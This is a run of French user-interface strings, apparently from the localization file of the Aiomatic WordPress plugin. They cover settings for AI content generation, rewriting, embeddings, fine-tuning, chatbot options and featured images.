la journalisation détaillée des règles ? Notez que cela augmentera considérablement la taille du journal généré par ce plugin.Souhaitez-vous activer les limites d'utilisation globales ?Souhaitez-vous activer la journalisation des règles ?Souhaitez-vous activer les pingbacks et les trackbacks pour les messages générés ?Souhaitez-vous activer les pingbacks/trackbacks pour les messages générés ?Voulez-vous activer le filtrage des gros mots pour le contenu créé ?Voulez-vous activer les limites d'utilisation de la synthèse vocale ?Voulez-vous activer le générateur d'images IA et remplacer les images libres de droits par des images générées par l'IA ?Voulez-vous activer ce plugin ? Vous pouvez désactiver n'importe quelle règle (il n'est pas nécessaire de les supprimer pour les désactiver).Voulez-vous activer cette règle ? Vous pouvez désactiver n'importe quelle règle (il n'est pas nécessaire de les supprimer pour les désactiver).Souhaitez-vous activer le suivi de l'utilisation pour les statistiques et les limites d'utilisation ?Souhaitez-vous ne pas ignorer l'importation de l'article si aucune image libre de droits n'a été trouvée pour l'article ?Souhaitez-vous ne pas filer le contenu (uniquement le titre) ?Voulez-vous protéger les balises HTML dans le texte édité ? Cette option ajoutera à le Prompt que vous saisissez une phrase qui spécifie la protection des balises HTML dans le texte édité.Vous souhaitez rendre un texte aléatoire en remplaçant des mots d'un texte par des synonymes à l'aide de l'une des méthodes répertoriées ? Notez qu'il s'agit d'une fonctionnalité expérimentale qui peut, dans certains cas, augmenter considérablement le temps d'exécution de la règle !Voulez-vous remplacer l'image libre de droits par une image générée par l'IA ?Voulez-vous réécrire également l'URL de l'article avec le titre modifié ?Voulez-vous réécrire le contenu à l'aide de l'IA avant de l'envoyer à l'intégration ?Souhaitez-vous réécrire le contenu à l'aide de l'IA avant de l'envoyer à l'intégration ? Cela réécrira le %%post_content%% dans le champ de configuration "Embedding Template" - assurez-vous donc d'utiliser le shortcode %%post_content%% dans le champ de configuration "Embedding Template", si vous souhaitez optimiser le contenu à l'aide de cette fonctionnalité. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. La valeur par défaut de ce champ est : Révisez le contenu donné de manière concise, en préservant son style et ses informations, tout en veillant à ce que le texte révisé ne dépasse pas 300 mots. Chaque paragraphe doit compter entre 60 et 120 mots. Exclure les éléments non textuels et les répétitions inutiles. Concluez par une déclaration invitant les lecteurs à trouver davantage d'informations à l'adresse %%post_url%%. Si ces lignes directrices ne peuvent être respectées, envoyez une réponse vide. Le contenu est le suivant : %%post_content%%Voulez-vous lancer l'édition manuelle des messages maintenant ? Veuillez vérifier la configuration ci-dessous avant de cliquer sur "Exécuter l'édition d'article".Voulez-vous exécuter cette règle maintenant ? Notez qu'une seule instance d'une règle est autorisée à la fois.Voulez-vous définir une date de publication personnalisée pour les articles ? Définissez la fourchette dans le champ ci-dessous.Souhaitez-vous définir une image vedette pour l'article créé (libre de droits ou générée par l'IA) ? Veuillez noter que pour que cette fonctionnalité fonctionne, vous devez configurer le plugin (ajouter les clés API) dans le menu 'Paramètres principaux' du plugin -> 'Royalty Free Featured Image Importing Options' section.Souhaitez-vous définir une image vedette pour l'article créé (libre de droits ou générée par l'IA) ? Veuillez noter que pour que cette fonctionnalité fonctionne, vous devez configurer le plugin (ajouter les clés API) dans le menu "Paramètres principaux" du plugin -> section "Options d'importation de l'image vedette libre de droits".Souhaitez-vous fixer un prix maximum pour l'article importé ? Le prix est exprimé en centimes : 1000 est 10$.Souhaitez-vous fixer un prix maximum pour les articles importés ? Le prix est exprimé en centimes : 1000 est 10$.Souhaitez-vous fixer un prix minimum pour l'article importé ? Le prix est exprimé en centimes : 1000 est 10$.Souhaitez-vous fixer un prix minimum pour les articles importés ? Le prix est exprimé en centimes : 1000 est 10$.Voulez-vous sauter l'étape de l'édition du contenu de l'article ?Voulez-vous sauter l'étape de l'édition de l'extrait ?Voulez-vous sauter l'étape de l'édition du titre de l'article ?Voulez-vous ignorer le filtrage des messages générés par cette règle ?Voulez-vous ignorer la traduction des messages générés par cette règle ?Dossier racineDogriDogri (Google Traduction)Ne pas ajouter de sectionsN'essayez pas de traduire en anglais les Prompts de l'IA :Ne traitez pas deux fois le même message :Ne pas envoyer le maximum de jetons dans les demandes d'API (expérimental) :Ne pas vérifierVous n'avez pas encore de compte 'ChimpRewriter' ? Cliquez ici pour en obtenir un :Vous n'avez pas encore de compte ContentProfessor ? Cliquez ici pour en créer un :Vous n'avez pas encore de compte 'SpinRewriter' ? Cliquez ici pour en obtenir un :Vous n'avez pas encore de compte 'SpinnerChief' ? Cliquez ici pour en obtenir un :Vous n'avez pas encore de compte 'The Best Spinner' ? Cliquez ici pour en créer un :Vous n'avez pas encore de compte WordAI ? Cliquez ici pour en obtenir un :Ne pas afficher ce widgetTerminé !Télécharger les formulaires actuels :Télécharger de nouvelles donnéesTélécharger maintenantTéléchargez le plugin iciParsiųsti į CSVBrouillonProjet -> ModéréRédigez d'abord vos messages et publiez-les ensuite :RédigéDupliquerDupliquer le nom du champ personnalisé de vérification (facultatif) :Dupliquer cette règleNéerlandaisNéerlandais (Google Traduction)ModifierModifier l’article crééEditer la source des articlesEditez/ajoutez du contenu IA !Modification des paramètres de l'API :Modifier les modèles et les options SEOChoix de l’éditeur : Rédacteurs et administrateursFormationÉgypteElevenLabs.ioRank de l'Images éligibles au poste le plus au poste : E-mailAdresse Email :Intégration du modèle de réécriture de contenu :Intégration d'une invite de réécriture de contenu (%%post_content%%) :Mise à jour du brouillon d’intégration.L'intégration a été publiée.L'intégration a été rétablie dans la révision à partir de %sEmbedding sauvegardé avec succèsIntégration enregistrée.Intégration prévue pour : %1$s.Intégration soumise.Mise à jour de l'intégration.Embeddings / EmboîtementsModèle d'intégration :Les embeddings sont un moyen d'envoyer à l'IA rédactrice de contenu un ensemble de données pré-entraînées, afin de lui donner plus de contexte sur la question ou le Prompt qui lui a été soumise et pour laquelle une réponse est attendue. Ces embeddings peuvent aider le modèle à mieux comprendre la langue et les exigences formulées dans l'invitation.Résultats vides.Activer la réécriture de contenu par l'IA :Activer la réécriture de contenu par l'IA pour le contenu publié.Activer l'accès Internet IA pour :Activer l'accès à l'internet IA pour les fonctionnalités suivantes du plugin.Activer le traitement automatique de toutes les taxonomies nouvellement ajoutées pour :Activer les réponses HTML du Chatbot :Activer les réponses instantanées du chatbot :Activez la synthèse vocale/vidéo du chatbot :Activer la saisie vocale du chatbot :Activer les commentaires pour les publicationsActiver les commentaires pour les publications :Activer la journalisation détaillée des règles :Activer l'indexation automatique des Embeddings pour les nouvelles publications :Activez les Embeddings pour :Activer l'attribution d'images à la une :Activer l'attribution d'une image vedette : Cette option permet d'attribuer automatiquement une image vedette au contenu publié.Permettre une expérience de première mainPermettre une expérience de première main :Activer les limites d'utilisation globales :Activer l'utilisation de la recherche Google Images : Activer la journalisation des règles :Activez la copie des Messages en cliquant dessus :Activez le chat persistant également pour les utilisateurs non connectés :Activer Pingback/TrackbackActiver Pingback/Trackback :Activer le Scraping de site Web Pixabay Direct : Activer la rédaction de méta-descriptions pour le référencement :Activer le filtrage des gros mots / jurons :Activer les limites d'utilisation de la synthèse vocale (Text-to-Speech) :Activez le ChatBot pour qu'il envoie des e-mails :Activer l’utilisation de l’API Unsplash : Activer la journalisation des règles Dans l'onglet ''Réglages Généraux'' :Activer la modération des Articles utilisateur :Activer la recherche d'images au sens large : Activer les embeddings pour le chat.Activer ou désactiver la modification automatique des messages à chaque fois que vous publiez un nouveau message (manuellement ou automatiquement).Activer ou désactiver ce plugin. Il agit comme un interrupteur principal.Permettre au ChatBot d'envoyer des courriels. Les utilisateurs pourront demander au chatbot d'envoyer des courriels en indiquant le destinataire, l'objet et le contenu du courriel. Le plugin demandera au chatbot de renvoyer le contenu de l'e-mail dans un format spécifique, qu'il analysera et enverra l'e-mail au nom du chatbot.ActivéActivé Automatiquement l'Edition des Articles :Il est essentiel d'engager le dialogue avec votre public, et Aiomatic vous facilite la tâche grâce à la fonction "Comment Replier" (répondeur de commentaires). Cet outil pratique utilise des algorithmes d'IA pour analyser et comprendre les commentaires sur votre site web et vous proposer des réponses. Vous pouvez répondre rapidement aux commentaires, favoriser des conversations constructives et améliorer l'engagement des utilisateurs, le tout avec l'aide de l'IA.AnglaisFrançais (Google Traduction)Prenez plaisir à explorer les fonctions cachées d'Aiomatic et à maximiser le potentiel de votre site Web WordPress !Saisir la clé API dans les paramètres principaux pour l'activerSaisissez vos donnéesEntrez un code de langue de 2 lettres qui sera assigné comme langue WPML/Polylang pour les articles. Exemple : pour l'allemand, entrez : deEntrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans chaque article créé. Vous pouvez utiliser les shortcodes suivants : %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[mot-clé]%%, %%random_image_url[mot-clé]%%, %%random_video[mot-clé]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser un paramètre facultatif dans les shortcodes random_image et random_video, qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% of cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans chaque article créé. Vous pouvez utiliser les shortcodes suivants : %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%language%, %%writing_style%%, %%writing_tone%, %%sections_count%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser un paramètre facultatif dans les shortcodes random_image et random_video, qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans chaque article créé. Vous pouvez utiliser les shortcodes suivants : %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%, %%video_url%, %%video_captions%%, %%language%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser un paramètre facultatif dans les shortcodes random_image et random_video, qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans chaque article créé. Vous pouvez utiliser les shortcodes suivants : %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[mot-clé]%%, %%random_image_url[mot-clé]%%, %%random_video[mot-clé]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser un paramètre facultatif dans les shortcodes random_image et random_video, qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% of cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans chaque article créé. Vous pouvez utiliser les shortcodes suivants : %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%language%, %%writing_style%%, %%writing_tone%, %%sections_count%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser un paramètre facultatif dans les shortcodes random_image et random_video, qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans chaque article créé. Vous pouvez utiliser les shortcodes suivants : %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%, %%video_url%, %%video_captions%%, %%language%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser un paramètre facultatif dans les shortcodes random_image et random_video, qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans chaque article créé. Vous pouvez utiliser les shortcodes suivants : %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[mot-clé]%%, %%random_image_url[mot-clé]%%, %%random_video[mot-clé]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser un paramètre facultatif dans les shortcodes random_image et random_video, qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% of cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans chaque article créé. Vous pouvez utiliser les shortcodes suivants : %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%language%, %%writing_style%%, %%writing_tone%, %%sections_count%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser un paramètre facultatif dans les shortcodes random_image et random_video, qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans chaque article créé. Vous pouvez utiliser les shortcodes suivants : %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%, %%video_url%, %%video_captions%%, %%language%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez également utiliser un paramètre facultatif dans les shortcodes random_image et random_video, qui ajoutera un pourcentage de chance pour que le média apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Entrez une liste de sections d'articles, une par ligne. Ce seront les titres du contenu. Ils peuvent également être générés automatiquement par le plugin. Pour activer la génération automatique des sections, laissez ce champ vide. Cela définira la valeur du shortcode %%sections%%, qui peut être utilisé dans les Prompts ci-dessous. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" (créateur de shortcodes personnalisés) à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu !Entrez une liste manuelle de liens, où le plugin créera des liens.Saisissez le nombre maximum de produits à inclure dans l'article de synthèse. Vous pouvez également saisir des fourchettes de nombres comme : 3-4Saisissez le nombre maximum de produits à inclure dans l'article de synthèse. Vous pouvez également saisir des fourchettes de nombres, comme par exemple : 2-4Saisissez le nombre de paragraphes à créer pour chaque section. Ces paragraphes seront également définis comme titres d'articles. Vous pouvez également définir des plages de valeurs, par exemple : 5-7. Dans ce cas, un nombre aléatoire sera sélectionné dans cette fourchette. Veuillez n'utiliser que des valeurs numériques dans ce champ. Ce champ définit la valeur du shortcode %%paragraphs_per_section%%.Saisissez le nombre de sections à créer dans l'article. Ces sections seront également définies comme titres de l'article. Vous pouvez également définir des plages de valeurs, par exemple : 5-7. Dans ce cas, un nombre aléatoire sera sélectionné dans cette fourchette. Veuillez n'utiliser que des valeurs numériques dans ce champ. Ce champ définira la valeur du shortcode %%sections_count%%.Envato code d'achatErreur lors de l’obtention du contenu : EsperantoEspéranto (Google Traduction)EstiméEstonienEstonien (Google Traduction)ÉvénementsÉwéBrebis (Google Traduction)Exemple 10 :Exemple 11 :Exemple 2 :Exemple 3 :Exemple 4 :Exemple 5 :Exemple 6 :Exemple 7 :Exemple 8 :Exemple 9 :Exemple :À l'exception de cette liste de types d'articles personnalisés séparés par des virgules :ExtraitExtrait de PromptPrompt d'Extrait :Liste des mots exclus (uniquement pour le Spinner intégré) :Editeur de contenu existantÉditeur de contenu existant :Job Cron externeCaractéristiques supplémentaires :FAQFAST_BLUEFAST_GREENEchecLa liste des voix a échoué !ModeEn vedetteImage à la uneHauteur de redimensionnement de l’image en vedette :Redimensionnement de l'image vedette Largeur :Source de l'image en vedette :Statut de l'image en vedette :N'hésitez pas à rejoindre notre communauté DiscordImpressionsType de champ*Le fichier a été téléchargé avec succès, vous pouvez le visualiser dans l'onglet Datasets.Le fichier a été téléchargé avec succès. Vous pouvez le consulter dans l'onglet "Liste des formulaires".Intégration enregistrée avec succès.Nom du fichierPhilippinPhilippin (Google Traduction)Langue du filtre : Filtrer les résultats par catégorie d'image.Filtrer les résultats en fonction de l'orientation de l'image.Filtrez les résultats par type d’image.Ajustement minutieuxRéglages des suffixesParamètres des réglages :Affiner le modèleAjustements minutieuxLe réglage fin dans GPT-3 est le processus d'ajustement d'un modèle d'IA spécifique et de ses paramètres pour mieux s'adapter à une tâche spécifique. Pour ce faire, vous pouvez fournir à GPT-3 un ensemble de données adapté à la tâche dont vous avez besoin. Par exemple, si vous souhaitez créer un chatbot qui répond à des questions similaires à celles de Rick, de "Rick and Morty", cette fonctionnalité est ce qu'il vous faut.TerminerFinnoisFinnois (Google Traduction)Première liste de phrases possibles (%%random_sentence%%) :Première pageTout d'abord, nous avons l'assistant AI, votre compagnon fiable dans la gestion et l'optimisation de votre contenu. Cet assistant intelligent vous aide à accomplir diverses tâches, de la génération de balises méta alimentées par l'IA à la suggestion de mots-clés pertinents, en passant par l'optimisation de votre contenu pour un meilleur classement dans les moteurs de recherche. L'assistant IA est votre stratège virtuel en matière de contenu, qui vous guide à chaque étape.Message texte marquée :Options de l'API Flickr :ID de l’application Flickr : Taille de la police :NourriturePour plus d'informations sur le plugin, veuillez consulter le site suivant %sCouleur d’arrière-plan du formulaire:Couleur du bouton Soumettre :Couleur du texte du bouton du formulaire :L'ID du formulaire n'a pas été trouvé dans la base de données !Longueur maximale des champs de saisie du formulaire :Longueur minimale des champs de saisie du formulaire :Options FormulaireCouleur du texte du formulaire :Le brouillon du formulaire a été mis à jour.Formulaire publié.Formulaire restauré à la version du %sFormulaire sauvegardé.Formulaire programmé pour : %1$s.Formulaire soumis.Formulaire mis à jour.FranceFrançaisFrançais (Google Traduction)Pénalité de fréquencePénalité de fréquence :FrisonFrison (Google Traduction)Options du front-endUtilisateurs en accès complet :Titres entièrement générés par l'IALibrairie GDLibrairie GD :GPT3 ModalGalicienGalicien (Google Traduction)GalerieRéglages générauxInformations générales sur le système :Conseils générauxGénérer une méta-description pour le référencementGénérer un titre SEOGénérer du contenuGénérer une courte description (extrait)Générer des étiquettes/TagsGénérer du texteGénérer en utilisant l'IATaille de l'image en vedette générée par l'IA :Taille de l'image généréeTaille de l’image générée :Format de publication généréFormat de publication généré :Générer des méta-descriptions SEO...Génération de contenu...Générer une courte description (extrait)...Générer des Tags/étiquettes...Générer un titre...GeorgienGéorgien (Google Traduction)AllemandAllemand (Google Traduction)AllemagneObtenez WPML maintenant!Commencer ?Liste globale des mots interdits :Options de Prompt globaleListe Globale des mots obligatoires :Options de l'API Google Images :Google Text-to-SpeechClé API Google Translator (facultatif)Google n'a pas généré de son pour ce texteGrecGrec (Google Traduction)GuaraniGuarani (Google Traduction)GujaratiGujarati (Google Traduction)HTMLTexte HTML à ajouter au contenu créé par l'IATexte HTML à ajouter au contenu créé par l'IA :Texte HTML à ajouter au contenu créé par l'IATexte HTML à ajouter au contenu créé par l'IA :HaïtienCréole haïtien (Google Traduction)HausaHaoussa (Google Traduction)Vous avez des problèmes avec le plugin ? N'hésitez pas à consulter notre base de connaissances avant de contacter notre support!HawaïenHawaïen (Google Traduction)Emplacement de l'image de l'en-tête :Casque ou écouteursSantéHébreuHébreu (Google Traduction)Bonjour, je m'appelleVoici quelques options qui s'offrent à vous pour créer les données nécessaires à la mise au point (choisissez celle qui correspond le mieux à vos besoins)Ici, vous pouvez également télécharger vos données ou les envoyer directement à OpenAI pour qu'elles soient utilisées. Conseil utile : pour rassembler vos données, commencez par collecter des informations sur les pages de votre site web, son contenu et toutes les idées qui vous viennent à l'esprit. Essayez de créer un fichier, ou plusieurs fichiers, sans formatage HTML ou autres éléments inutiles. Si vous avez accès à ChatGPT, utilisez-le pour générer un grand nombre de questions et de réponses basées sur votre contenu. Rassemblez les données dans une feuille Google avec les deux colonnes, et veillez à les réviser et à les perfectionner. Un ensemble de données doit comporter un minimum de 500 lignes pour offrir des résultats utiles, et bien plus si vous souhaitez obtenir de meilleurs résultats. Selon la documentation d'OpenAI, il est recommandé d'avoir plus de 3 000 lignes. Mais cela dépend en fin de compte de ce que vous essayez d'obtenir. Veillez à sélectionner le modèle de base pour lequel vous souhaitez créer un réglage fin dans la liste déroulante "Model Base", car c'est à cette étape que vous décidez du modèle pour lequel vous souhaitez créer un réglage fin avec les données téléchargées. Consultez les recommandations d'OpenAI pour le réglage fin,Ici, vous pourrez générer automatiquement, à l'aide de l'IA, les champs méta SEO pour cette image.Ici, vous pouvez définir les conditions de l'édition automatique des messages :CacherCacher la vidéo du tutorielHaute qualité - PayantMis en évidenceHindiHindi (Google Traduction)Conseil : vous pouvez utiliser les shortcodes suivants dans ce champ de configuration : %%image_title%%, %%image_caption%%, %%image_alt%%, %%image_description%%, %%parent_title%%, %%parent_excerpt%%, %%parent_content%%, %%blog_title%%, %%random_sentence%%, %%random_sentence2%% + les shortcodes imbriqués sont également pris en charge.Appuyez sur ce bouton et tous les messages générés par ce plugin seront supprimés !Cliquez sur ce bouton et les paramètres du plugin seront restaurés à leurs valeurs par défaut. Attention ! Tous les paramètres seront perdus !Cliquez sur ce bouton et le plugin créera les formulaires par défaut fournis avec le plugin.Cliquez sur ce bouton pour sauvegarder les formulaires actuels dans un fichier.Cliquez sur ce bouton et vous pourrez restaurer les formulaires à partir du fichier.HmongHmong (Google Traduction)URL accueilURL accueil:Système de divertissement à domicile ou smart TVHorizontalNombre de tentatives d'appels API en cas d'échec de l'API :Combien de temps faut-il attendre avant d'éditer de nouveaux messages ? Définissez un délai pour le processus d'édition. Cela peut s'avérer utile si vous souhaitez revoir les messages vous-même avant qu'ils ne soient automatiquement modifiés.Le degré d'adhérence du processus de diffusion au texte dans le Prompt (des valeurs plus élevées rapprochent l'image de le Prompt). La valeur par défaut est 7.Comment démarrer avec IA Forms ?Comment utiliser les différentes fonctionnalités du plugin ? Comme le chatbot d'IA, le créateur de contenu d'IA, l'éditeur de contenu d'IA, l'entraînement de modèle d'IA, les Embeddings, les formulaires d'IA et bien d'autres choses encore ?HongroisHongrois (Google Traduction)Hyper-paramètresJe suis très heureux de vous compter parmi les utilisateurs !Je suis le développeur deJ'ai besoin de trouver des images libres de droits très pertinentes pour le titre d'un article. Veuillez extraire une liste séparée par des virgules des mots-clés les plus pertinents du titre, en donnant la priorité aux références spécifiques plutôt qu'aux mots-clés généraux. Attribuez la priorité la plus élevée au mot-clé le plus spécifique qui est toujours lié au sujet principal. Ce faisant, vous m'aiderez à trouver des images plus appropriées et plus ciblées pour le titre de l'article. Le titre de l'article de blog est le suivant : "%%post_title%%".Je vous expliquerai également comment Aiomatic peut améliorer votre contenu, en veillant à ce qu'il soit toujours frais, pertinent et attrayant. Dites adieu au contenu ennuyeux et sans inspiration, et bonjour à Aiomatic !IDID*INFO : Configurer les Prompts du rédacteur AI dans l'onglet "Rédacteur de la description de la taxonomie" à partir de l'onglet "Rédacteur de la description de la taxonomie"INFO : Vous pouvez modifier la façon dont les messages sont édités en changeant les paramètres dans l'onglet "Modèles d'édition et options" ci-dessus !INFO : Vous pouvez modifier la façon dont les messages sont édités en changeant les paramètres dans l'onglet "Modèles d'édition et options" ci-dessus ! Veillez également à sauvegarder les paramètres avant de procéder à l'édition en vrac des messages !IPIP : L'adresse IP à partir de laquelle la demande a été faite.IslandaisIslandais (Google Traduction)S'il est validé, l'article sera rédigé d'un point de vue qui peut parfois donner l'impression que l'auteur a une expérience directe des produits.Si cette option est activée, les produits seront mélangés, ce qui rendra leur ordre aléatoire à chaque exécution.Si vous cherchez un moyen rapide de personnaliser le rédacteur de contenu de l'IA et de lui donner des informations sur votre entreprise, je vous suggère de consulter la rubriqueSi vous cherchez un moyen plus complexe de personnaliser le rédacteur de contenu de l'IA et de pouvoir "enseigner" à l'IA un large ensemble d'informations (en créant votre propre modèle affiné), je vous suggère de consulter la pageSi vous utilisez un serveur web LiteSpeed, vous devrez peut-être le configurer pour permettre des temps d'exécution plus longs d'Aiomatic.Si vous utilisez l'édition de contenu qui contient des caractères chinois, vous pouvez essayer de cocher cette case.Si vous utilisez des modèles affinés, il est recommandé d'ajouter le suffixe de complétion que vous avez utilisé dans les données d'entraînement de votre modèle, afin que le plugin puisse l'ajouter automatiquement aux complétions. La valeur par défaut est : " ###". N'utilisez pas de nouvelles lignes pour les suffixes (\n) car ils ne sont pas supportés actuellement).Si vous utilisez des modèles affinés, il est recommandé d'ajouter le suffixe du Prompt que vous avez utilisé dans les données d'entraînement de votre modèle, afin que le plugin puisse l'ajouter automatiquement aux Prompts. La valeur par défaut est : " ->" (sans les guillemets). N'utilisez pas de nouvelles lignes pour les suffixes (\n) car ils ne sont pas supportés actuellement).Si vous avez coché la case ci-dessus pour désactiver le traitement des types de posts personnalisés, vous pouvez définir ici une liste séparée par des virgules des types de posts qui doivent encore être traités (qui ne doivent pas être ignorés).Si vous rencontrez des ralentissements ou même un arrêt complet de votre flux de travail de création de contenu, le problème pourrait provenir de Cloudflare.Si vous avez besoin d'aide pour démarrer avec Aiomatic, n'hésitez pas à consulter la pageSi vous remarquez un ralentissement ou un échec dans la génération de contenu, cela peut être dû à des problèmes avec les services de l'API OpenAI. Veuillez attendre que ces services reviennent à la normale avant d'essayer à nouveau.Si vous avez sélectionné une région spécifique dans votre compte Microsoft Azure, vous devez la saisir ici. Pour en savoir plus, cliquez ici. La valeur par défaut est "global".Si vous définissez un sujet de message ici, les titres que vous avez saisis dans le champ "Liste des titres des postes" ne seront pas pris en compte et les titres seront générés automatiquement en fonction de ce sujet ! Veillez à modifier les paramètres "Titre Prompt" ci-dessous pour changer la façon dont les titres seront créés ! Entrez une liste de sujets de messages, un sur chaque ligne. Si vous laissez ce champ vide, les titres saisis dans le champ "Liste des titres des postes" seront utilisés. Si vous entrez une valeur dans ce champ, de nouveaux titres seront créés, basés sur ce sujet, et les valeurs de la "Liste des titres de messages" seront écrasées. Si vous saisissez plusieurs thèmes (un par ligne), un thème 